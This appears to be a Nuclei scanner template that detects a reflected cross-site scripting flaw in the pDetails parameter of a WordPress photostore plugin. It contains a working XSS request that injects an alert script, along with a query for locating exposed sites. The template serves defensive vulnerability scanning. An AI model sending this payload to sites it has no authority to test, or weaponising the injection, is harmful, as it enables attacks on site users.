id: wp-portrait-archiv-xss

info:
  name: WordPress Portrait-Archiv.com Photostore 5.0.4 - Reflected Cross Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    The 'pDetails' GET parameter from the js/imageDetails.php was vulnerable to an unauthenticated reflected XSS attack.
  reference:
    - https://wpscan.com/vulnerability/c6a8757e-41ef-4c20-8c7d-97b57d56fe0e
    - https://wordpress.org/plugins/portrait-archiv-shop/
    - https://packetstormsecurity.com/files/154343/
  metadata:
    verified: true
    max-request: 1
    publicwww-query: "/wp-content/plugins/portrait-archiv-shop/"
  tags: wpscan,packetstorm,wordpress,wp-plugin,wp,portrait-archiv-shop,xss,vuln

http:
  - raw:
      - |
        GET /wp-content/plugins/portrait-archiv-shop/js/imageDetails.php?pDetails=);});%3C/script%3E%3Cscript%3Ealert(document.location)%3C/script%3E HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "</script><script>alert(document.location)</script>") && contains(body, "showImageDetail")'
        condition: and
# digest: 490a00463044022060a68ade5d050488df40a9380e41402cd8fc63bfc0d848b326278ed7fda90dcf02207da530fec84a0b7a79b07944eacc239ec04b09565953139d836a171f3ed9ee63:922c64590222798bb761d5b6d8e72950